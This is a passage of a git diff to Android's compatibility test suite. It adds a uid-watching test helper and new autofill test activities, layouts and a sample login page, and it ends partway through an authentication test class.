+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.util.Log;
+
+import java.io.BufferedOutputStream;
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+/**
+ * bit CtsAppTestCases:ActivityManagerProcessStateTest
+ */
+public class WatchUidRunner {
+ public static final int CMD_PROCSTATE = 0;
+ public static final int CMD_ACTIVE = 1;
+ public static final int CMD_IDLE = 2;
+ public static final int CMD_UNCACHED = 3;
+ public static final int CMD_CACHED = 4;
+ public static final int CMD_GONE = 5;
+
+ static final String[] COMMAND_TO_STRING = new String[] {
+ "procstate", "active", "idle", "uncached", "cached", "gone"
+ };
+
+ final Instrumentation mInstrumentation;
+ final int mUid;
+ final String mUidStr;
+ final Pattern mSpaceSplitter;
+ final ParcelFileDescriptor mReadFd;
+ final FileInputStream mReadStream;
+ final BufferedReader mReadReader;
+ final ParcelFileDescriptor mWriteFd;
+ final FileOutputStream mWriteStream;
+ final PrintWriter mWritePrinter;
+ final Thread mReaderThread;
+
+ // Shared state is protected by this.
+ final ArrayList<String[]> mPendingLines = new ArrayList<>();
+
+ boolean mStopping;
+
+ public WatchUidRunner(Instrumentation instrumentation, int uid) {
+ mInstrumentation = instrumentation;
+ mUid = uid;
+ mUidStr = Integer.toString(uid);
+ mSpaceSplitter = Pattern.compile("\\s+");
+ ParcelFileDescriptor[] pfds = instrumentation.getUiAutomation().executeShellCommandRw(
+ "am watch-uids");
+ mReadFd = pfds[0];
+ mReadStream = new ParcelFileDescriptor.AutoCloseInputStream(mReadFd);
+ mReadReader = new BufferedReader(new InputStreamReader(mReadStream));
+ mWriteFd = pfds[1];
+ mWriteStream = new ParcelFileDescriptor.AutoCloseOutputStream(mWriteFd);
+ mWritePrinter = new PrintWriter(new BufferedOutputStream(mWriteStream));
+ // Executing a shell command is asynchronous but we can't proceed further with the test
+ // until the 'watch-uids' cmd is executed.
+ waitUntilUidObserverReady();
+ mReaderThread = new ReaderThread();
+ mReaderThread.start();
+ }
+
+ private void waitUntilUidObserverReady() {
+ try {
+ final String line = mReadReader.readLine();
+ assertTrue("Unexpected output: " + line, line.startsWith("Watching uid states"));
+ } catch (IOException e) {
+ fail("Error occurred " + e);
+ }
+ }
+
+ public void expect(int cmd, String procState, long timeout) {
+ long waitUntil = SystemClock.uptimeMillis() + timeout;
+ String[] line = waitForNextLine(waitUntil);
+ if (!COMMAND_TO_STRING[cmd].equals(line[1])) {
+ throw new IllegalStateException("Expected cmd " + COMMAND_TO_STRING[cmd]
+ + " but next report was " + Arrays.toString(line));
+ }
+ if (procState != null && (line.length < 3 || !procState.equals(line[2]))) {
+ throw new IllegalStateException("Expected procstate " + procState
+ + " but next report was " + Arrays.toString(line));
+ }
+ }
+
+ public void waitFor(int cmd, String procState, long timeout) {
+ long waitUntil = SystemClock.uptimeMillis() + timeout;
+ while (true) {
+ String[] line = waitForNextLine(waitUntil);
+ if (COMMAND_TO_STRING[cmd].equals(line[1])) {
+ if (procState == null) {
+ return;
+ }
+ if (line.length >= 3 && procState.equals(line[2])) {
+ return;
+ } else {
+ Log.d("XXXX", "Skipping because procstate not " + procState + ": "
+ + Arrays.toString(line));
+ }
+ } else {
+ Log.d("XXXX", "Skipping because not " + COMMAND_TO_STRING[cmd] + ": "
+ + Arrays.toString(line));
+ }
+ }
+ }
+
+ String[] waitForNextLine(long waitUntil) {
+ synchronized (mPendingLines) {
+ while (mPendingLines.size() == 0) {
+ long now = SystemClock.uptimeMillis();
+ if (now >= waitUntil) {
+ throw new IllegalStateException("Timed out waiting for next line");
+ }
+ try {
+ mPendingLines.wait(waitUntil - now);
+ } catch (InterruptedException e) {
+ }
+ }
+ return mPendingLines.remove(0);
+ }
+ }
+
+ public void finish() {
+ synchronized (mPendingLines) {
+ mStopping = true;
+ }
+ mWritePrinter.println("q");
+ try {
+ mWriteStream.close();
+ } catch (IOException e) {
+ }
+ try {
+ mReadStream.close();
+ } catch (IOException e) {
+ }
+ }
+
+ final class ReaderThread extends Thread {
+ String mLastReadLine;
+
+ @Override
+ public void run() {
+ String[] line;
+ try {
+ while ((line = readNextLine()) != null) {
+ if (line.length < 2) {
+ Log.d("XXXXX", "Skipping: " + mLastReadLine);
+ continue;
+ }
+ if (!line[0].equals(mUidStr)) {
+ Log.d("XXXXX", "Skipping: " + mLastReadLine);
+ continue;
+ }
+ Log.d("XXXXX", "Enqueueing: " + mLastReadLine);
+ synchronized (mPendingLines) {
+ if (mStopping) {
+ return;
+ }
+ mPendingLines.add(line);
+ mPendingLines.notifyAll();
+ }
+ }
+ } catch (IOException e) {
+ Log.w("WatchUidRunner", "Failed reading", e);
+ }
+ }
+
+ String[] readNextLine() throws IOException {
+ mLastReadLine = mReadReader.readLine();
+ if (mLastReadLine == null) {
+ return null;
+ }
+ return mSpaceSplitter.split(mLastReadLine);
+ }
+ }
+}
diff --git a/tests/aslr/Android.mk b/tests/aslr/Android.mk
index 6ad636b..2abe2a8 100644
--- a/tests/aslr/Android.mk
+++ b/tests/aslr/Android.mk
@@ -33,6 +33,6 @@
libgtest
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/autofillservice/Android.mk b/tests/autofillservice/Android.mk
index 27a8cb5..eaf2f17 100644
--- a/tests/autofillservice/Android.mk
+++ b/tests/autofillservice/Android.mk
@@ -28,12 +28,12 @@
ctstestrunner \
truth-prebuilt \
ub-uiautomator \
- testng
+ testng # TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAutoFillServiceTestCases
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 9303955..28e3c9a 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -43,34 +43,38 @@
<activity android:name=".TimePickerClockActivity" />
<activity android:name=".TimePickerSpinnerActivity" />
<activity android:name=".FatActivity" />
- <activity android:name=".VirtualContainerActivity">
- <intent-filter>
- <!-- This intent filter is not really needed by CTS, but it maks easier to launch
- this app during CTS development... -->
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
+ <activity android:name=".VirtualContainerActivity"/>
<activity android:name=".OptionalSaveActivity" />
<activity android:name=".AllAutofillableViewsActivity" />
- <activity android:name=".GridActivity" >
- <intent-filter>
- <!-- This intent filter is not really needed by CTS, but it maks easier to launch
- this app during CTS development... -->
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
+ <activity android:name=".GridActivity"/>
<activity android:name=".EmptyActivity"/>
<activity android:name=".DummyActivity"/>
<activity android:name=".OutOfProcessLoginActivity"
android:process="android.autofillservice.cts.outside"/>
<activity android:name=".FragmentContainerActivity" />
+ <activity android:name=".DuplicateIdActivity"
+ android:theme="@android:style/Theme.NoTitleBar" />
+ <activity android:name=".SimpleSaveActivity"/>
+ <activity android:name=".PreSimpleSaveActivity">
+ <intent-filter>
+ <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+ this app during CTS development... -->
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
<activity android:name=".WebViewActivity"/>
<activity android:name=".TrampolineWelcomeActivity"/>
<activity android:name=".AttachedContextActivity"/>
<activity android:name=".TrampolineForResultActivity" />
+ <receiver android:name=".SelfDestructReceiver"
+ android:exported="true"
+ android:process="android.autofillservice.cts.outside"/>
+ <receiver android:name=".OutOfProcessLoginActivityFinisherReceiver"
+ android:exported="true"
+ android:process="android.autofillservice.cts.outside"/>
+
<service
android:name=".InstrumentedAutoFillService"
android:label="InstrumentedAutoFillService"
@@ -95,6 +99,24 @@
<action android:name="android.service.autofill.AutofillService" />
</intent-filter>
</service>
+
+ <!-- Mock IME -->
+ <service
+ android:name="com.android.cts.mockime.MockIme"
+ android:label="Mock IME"
+ android:permission="android.permission.BIND_INPUT_METHOD">
+ <intent-filter>
+ <action android:name="android.view.InputMethod" />
+ </intent-filter>
+ <meta-data
+ android:name="android.view.im"
+ android:resource="@xml/method" />
+ </service>
+ <provider
+ android:authorities="com.android.cts.mockime.provider"
+ android:name="com.android.cts.mockime.SettingsProvider">
+ </provider>
+
</application>
<instrumentation
diff --git a/tests/autofillservice/AndroidTest.xml b/tests/autofillservice/AndroidTest.xml
index d4afbb3..73fffd2 100644
--- a/tests/autofillservice/AndroidTest.xml
+++ b/tests/autofillservice/AndroidTest.xml
@@ -14,7 +14,8 @@
limitations under the License.
-->
<configuration description="Config for AutoFill Framework CTS tests.">
- <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/autofillservice/assets/login.html b/tests/autofillservice/assets/login.html
new file mode 100644
index 0000000..60e7cf7
--- /dev/null
+++ b/tests/autofillservice/assets/login.html
@@ -0,0 +1,26 @@
+<!DOCTYPE html>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<html>
+<body>
+<form action="login.html" name="FORM AM I">
+ Username: <input type="text" name="username" autocomplete="username" placeholder="There's no place like a holder"/><br/>
+ Password: <input type="password" name="password" autocomplete="current-password" placeholder="Holder it like it cannnot passer a word"/><br/>
+ <br/>
+ <input type="submit" value="Login"/>
+</form>
+</body>
+</html>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/custom_description_with_link.xml b/tests/autofillservice/res/layout/custom_description_with_link.xml
new file mode 100644
index 0000000..fc67479
--- /dev/null
+++ b/tests/autofillservice/res/layout/custom_description_with_link.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="horizontal"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+
+ <TextView android:id="@+id/static_text"
+ android:paddingEnd="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:text="YO:"/>
+
+ <Button android:id="@+id/link"
+ android:paddingEnd="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:text="DON'T TAP ME!"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/duplicate_id_layout.xml b/tests/autofillservice/res/layout/duplicate_id_layout.xml
new file mode 100644
index 0000000..a5643ea
--- /dev/null
+++ b/tests/autofillservice/res/layout/duplicate_id_layout.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <CheckBox
+ android:id="@+id/duplicate_id"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" />
+
+ <CheckBox
+ android:id="@+id/duplicate_id"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/login_activity.xml b/tests/autofillservice/res/layout/login_activity.xml
index e16d1c4..8765882 100644
--- a/tests/autofillservice/res/layout/login_activity.xml
+++ b/tests/autofillservice/res/layout/login_activity.xml
@@ -38,7 +38,8 @@
<EditText
android:id="@+id/username"
android:layout_width="match_parent"
- android:layout_height="wrap_content" />
+ android:layout_height="wrap_content"
+ android:imeOptions="flagNoFullscreen" />
</LinearLayout>
<LinearLayout
@@ -56,7 +57,8 @@
android:id="@+id/password"
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:inputType="textPassword"/>
+ android:inputType="textPassword"
+ android:imeOptions="flagNoFullscreen" />
</LinearLayout>
<LinearLayout
@@ -75,24 +77,28 @@
android:id="@+id/clear"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
+ android:layout_weight="1"
android:text="Clear" />
<Button
android:id="@+id/save"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
+ android:layout_weight="1"
android:text="Save" />
<Button
android:id="@+id/login"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
+ android:layout_weight="1"
android:text="Login" />
<Button
android:id="@+id/cancel"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
+ android:layout_weight="1"
android:text="Cancel" />
</LinearLayout>
@@ -101,4 +107,4 @@
android:layout_width="match_parent"
android:layout_height="wrap_content" />
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/pre_simple_save_activity.xml b/tests/autofillservice/res/layout/pre_simple_save_activity.xml
new file mode 100644
index 0000000..3440524
--- /dev/null
+++ b/tests/autofillservice/res/layout/pre_simple_save_activity.xml
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:focusable="true"
+ android:focusableInTouchMode="true"
+ android:orientation="vertical" >
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <TextView
+ android:id="@+id/preLabel"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Pre-label:" />
+ <EditText
+ android:id="@+id/preInput"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
+
+ </LinearLayout>
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <Button
+ android:id="@+id/submit"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Submit" />
+ </LinearLayout>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/simple_save_activity.xml b/tests/autofillservice/res/layout/simple_save_activity.xml
new file mode 100644
index 0000000..c48e0c3
--- /dev/null
+++ b/tests/autofillservice/res/layout/simple_save_activity.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:focusable="true"
+ android:focusableInTouchMode="true"
+ android:orientation="vertical" >
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <TextView
+ android:id="@+id/label"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Label:" />
+ <EditText
+ android:id="@+id/input"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:imeOptions="flagNoFullscreen" />
+ <EditText
+ android:id="@+id/password"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:inputType="textPassword"
+ android:imeOptions="flagNoFullscreen" />
+ </LinearLayout>
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <Button
+ android:id="@+id/cancel"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Cancel" />
+
+ <Button
+ android:id="@+id/commit"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Commit" />
+ </LinearLayout>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
new file mode 100644
index 0000000..944f926
--- /dev/null
+++ b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="horizontal"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+
+ <TextView android:id="@+id/static_text"
+ android:paddingEnd="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:text="YO:"/>
+
+ <TextView android:id="@+id/first"
+ android:paddingEnd="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+
+ <TextView android:id="@+id/second"
+ android:layout_weight="1"
+ android:layout_width="0dp"
+ android:layout_height="match_parent"/>
+
+ <ImageView android:id="@+id/img"
+ android:paddingStart="16dp"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/webview_activity.xml b/tests/autofillservice/res/layout/webview_activity.xml
new file mode 100644
index 0000000..84ead4f
--- /dev/null
+++ b/tests/autofillservice/res/layout/webview_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<android.autofillservice.cts.MyWebView xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/webview"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent"
+/>
diff --git a/tests/autofillservice/res/xml/method.xml b/tests/autofillservice/res/xml/method.xml
new file mode 100644
index 0000000..7f8b13a
--- /dev/null
+++ b/tests/autofillservice/res/xml/method.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<input-method xmlns:android="http://schemas.android.com/apk/res/android">
+</input-method>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
index 86eb136..ad7ffe9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
@@ -15,24 +15,13 @@
*/
package android.autofillservice.cts;
-import static android.widget.ArrayAdapter.createFromResource;
-
import static com.google.common.truth.Truth.assertWithMessage;
import android.content.Intent;
import android.os.Bundle;
-import android.os.SystemClock;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.WindowManager;
-import android.widget.ArrayAdapter;
import android.widget.Button;
-import android.widget.CheckBox;
import android.widget.DatePicker;
import android.widget.EditText;
-import android.widget.RadioButton;
-import android.widget.RadioGroup;
-import android.widget.Spinner;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
index 89c028b..848b3cc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
@@ -154,8 +154,7 @@
private FillExpectation(String output, int hour, int minute) {
// Output is called twice: by the TimeChangeListener and by auto-fill.
outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
- // TimePicker listener is called twice, for hour and minute changes.
- timeListener = new MultipleTimesTimeListener("timePicker", 2, mTimePicker, hour,
+ timeListener = new MultipleTimesTimeListener("timePicker", 1, mTimePicker, hour,
minute);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java
new file mode 100644
index 0000000..097967e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.widget.EditText;
+
+import java.util.Locale;
+
+/**
+ * Simple activity that attaches a new base context.
+ */
+public class AttachedContextActivity extends AbstractAutoFillActivity {
+ static final String ID_INPUT = "input";
+
+ EditText mInput;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.simple_save_activity);
+
+ mInput = findViewById(R.id.input);
+ }
+
+ @Override
+ protected void attachBaseContext(Context newBase) {
+ final Context localContext = applyLocale(newBase, "en");
+ super.attachBaseContext(localContext);
+ }
+
+ private Context applyLocale(Context context, String language) {
+ final Resources resources = context.getResources();
+ final Configuration configuration = resources.getConfiguration();
+ configuration.setLocale(new Locale(language));
+ return context.createConfigurationContext(configuration);
+ }
+
+ FillExpectation expectAutoFill(String input) {
+ final FillExpectation expectation = new FillExpectation(input);
+ mInput.addTextChangedListener(expectation.mInputWatcher);
+ return expectation;
+ }
+
+ final class FillExpectation {
+ private final OneTimeTextWatcher mInputWatcher;
+
+ private FillExpectation(String input) {
+ mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
+ }
+
+ void assertAutoFilled() throws Exception {
+ mInputWatcher.assertAutoFilled();
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
new file mode 100644
index 0000000..45f7264
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AttachedContextActivityTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.autofillservice.cts.AttachedContextActivity.FillExpectation;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * Makes sure activity with attached context can be autofilled.
+ */
+public class AttachedContextActivityTest extends AutoFillServiceTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<AttachedContextActivity> mActivityRule =
+ new AutofillActivityTestRule<>(AttachedContextActivity.class);
+
+ private AttachedContextActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @Test
+ public void testAutofill() throws Exception {
+ // Prepare
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(AttachedContextActivity.ID_INPUT, "attack!")
+ .setPresentation(createPresentation("fill me"))
+ .build())
+ .build());
+ final FillExpectation fillExpectation = mActivity.expectAutoFill("attack!");
+
+ // Trigger autofill
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Select dataset
+ sUiBot.selectDataset("fill me");
+
+ // Assert results
+ fillExpectation.assertAutoFilled();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
index 56ae652..570de4e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
@@ -16,6 +16,8 @@
package android.autofillservice.cts;
+import static android.autofillservice.cts.CannedFillResponse.ResponseType.NULL;
+
import static com.google.common.truth.Truth.assertWithMessage;
import android.app.Activity;
@@ -26,6 +28,8 @@
import android.content.Intent;
import android.content.IntentSender;
import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
import android.os.Parcelable;
import android.util.Log;
import android.util.SparseArray;
@@ -34,6 +38,8 @@
import com.google.common.base.Preconditions;
import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
/**
* This class simulates authentication at the dataset at reponse level
@@ -44,6 +50,8 @@
private static final String EXTRA_DATASET_ID = "dataset_id";
private static final String EXTRA_RESPONSE_ID = "response_id";
+ private static final int MSG_WAIT_FOR_LATCH = 1;
+
private static Bundle sData;
private static final SparseArray<CannedDataset> sDatasets = new SparseArray<>();
private static final SparseArray<CannedFillResponse> sResponses = new SparseArray<>();
@@ -54,6 +62,12 @@
// Guarded by sLock
private static int sResultCode;
+ // Guarded by sLock
+ // Used to block response until it's counted down.
+ private static CountDownLatch sResponseLatch;
+
+ private Handler mHandler;
+
static void resetStaticState() {
setResultCode(RESULT_OK);
sDatasets.clear();
@@ -121,10 +135,54 @@
}
}
